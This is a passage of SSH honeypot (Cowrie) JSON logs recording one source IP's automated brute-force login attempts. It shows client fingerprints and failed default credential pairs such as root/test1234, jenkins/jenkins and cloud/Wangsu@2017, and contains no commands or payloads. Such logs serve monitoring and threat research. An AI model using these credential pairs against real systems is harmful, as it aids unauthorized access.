0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:08.641337Z","src_ip":"192.109.200.78","session":"cbf9bd374be6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:08.885717Z","src_ip":"192.109.200.78","session":"cbf9bd374be6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:09.969655Z","src_ip":"192.109.200.78","session":"cbf9bd374be6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40954,"dst_ip":"10.17.0.5","dst_port":22,"session":"91f96a2ef025","protocol":"ssh","message":"New connection: 192.109.200.78:40954 (10.17.0.5:22) [session: 91f96a2ef025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:12.077374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:12.243701Z","src_ip":"192.109.200.78","session":"91f96a2ef025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:12.246484Z","src_ip":"192.109.200.78","session":"91f96a2ef025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"1234","message":"login attempt [main/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:12.572862Z","src_ip":"192.109.200.78","session":"91f96a2ef025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:13.656522Z","src_ip":"192.109.200.78","session":"91f96a2ef025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40962,"dst_ip":"10.17.0.5","dst_port":22,"session":"780187efef37","protocol":"ssh","message":"New connection: 192.109.200.78:40962 (10.17.0.5:22) [session: 780187efef37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:15.628105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:15.631618Z","src_ip":"192.109.200.78","session":"780187efef37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:15.713997Z","src_ip":"192.109.200.78","session":"780187efef37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:15.957682Z","src_ip":"192.109.200.78","session":"780187efef37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:17.041845Z","src_ip":"192.109.200.78","session":"780187efef37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40966,"dst_ip":"10.17.0.5","dst_port":22,"session":"23aa0a52aaad","protocol":"ssh","message":"New connection: 192.109.200.78:40966 (10.17.0.5:22) [session: 23aa0a52aaad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:19.112421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:19.118180Z","src_ip":"192.109.200.78","session":"23aa0a52aaad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:19.198307Z","src_ip":"192.109.200.78","session":"23aa0a52aaad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123","message":"login attempt [sftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:19.440332Z","src_ip":"192.109.200.78","session":"23aa0a52aaad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:20.525140Z","src_ip":"192.109.200.78","session":"23aa0a52aaad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36028,"dst_ip":"10.17.0.5","dst_port":22,"session":"2421956c76ca","protocol":"ssh","message":"New connection: 192.109.200.78:36028 (10.17.0.5:22) [session: 2421956c76ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:22.755217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:22.758606Z","src_ip":"192.109.200.78","session":"2421956c76ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:22.838650Z","src_ip":"192.109.200.78","session":"2421956c76ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:23.081026Z","src_ip":"192.109.200.78","session":"2421956c76ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:24.164608Z","src_ip":"192.109.200.78","session":"2421956c76ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36032,"dst_ip":"10.17.0.5","dst_port":22,"session":"c73b24f84668","protocol":"ssh","message":"New connection: 192.109.200.78:36032 (10.17.0.5:22) [session: c73b24f84668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:26.391065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:26.394656Z","src_ip":"192.109.200.78","session":"c73b24f84668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:26.475217Z","src_ip":"192.109.200.78","session":"c73b24f84668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"Wangsu@2017","message":"login attempt [cloud/Wangsu@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:26.719598Z","src_ip":"192.109.200.78","session":"c73b24f84668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:27.802912Z","src_ip":"192.109.200.78","session":"c73b24f84668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36042,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb930dc9a43b","protocol":"ssh","message":"New connection: 192.109.200.78:36042 (10.17.0.5:22) [session: bb930dc9a43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:29.770915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:29.774109Z","src_ip":"192.109.200.78","session":"bb930dc9a43b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:29.853918Z","src_ip":"192.109.200.78","session":"bb930dc9a43b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123","message":"login attempt [runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:30.280728Z","src_ip":"192.109.200.78","session":"bb930dc9a43b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:31.364679Z","src_ip":"192.109.200.78","session":"bb930dc9a43b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52930,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e310166e978","protocol":"ssh","message":"New connection: 192.109.200.78:52930 (10.17.0.5:22) [session: 8e310166e978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:33.488855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:33.492691Z","src_ip":"192.109.200.78","session":"8e310166e978","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:33.573275Z","src_ip":"192.109.200.78","session":"8e310166e978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"dev","message":"login attempt [deploy/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:33.919931Z","src_ip":"192.109.200.78","session":"8e310166e978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:35.002915Z","src_ip":"192.109.200.78","session":"8e310166e978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52944,"dst_ip":"10.17.0.5","dst_port":22,"session":"24ff74e4bf24","protocol":"ssh","message":"New connection: 192.109.200.78:52944 (10.17.0.5:22) [session: 24ff74e4bf24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:37.232096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:37.235288Z","src_ip":"192.109.200.78","session":"24ff74e4bf24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:37.315047Z","src_ip":"192.109.200.78","session":"24ff74e4bf24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"lucas","message":"login attempt [lucas/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:37.557488Z","src_ip":"192.109.200.78","session":"24ff74e4bf24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:38.641612Z","src_ip":"192.109.200.78","session":"24ff74e4bf24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52952,"dst_ip":"10.17.0.5","dst_port":22,"session":"750ba0e19df4","protocol":"ssh","message":"New connection: 192.109.200.78:52952 (10.17.0.5:22) [session: 750ba0e19df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:40.763555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:40.766859Z","src_ip":"192.109.200.78","session":"750ba0e19df4","protocol":"ssh"}
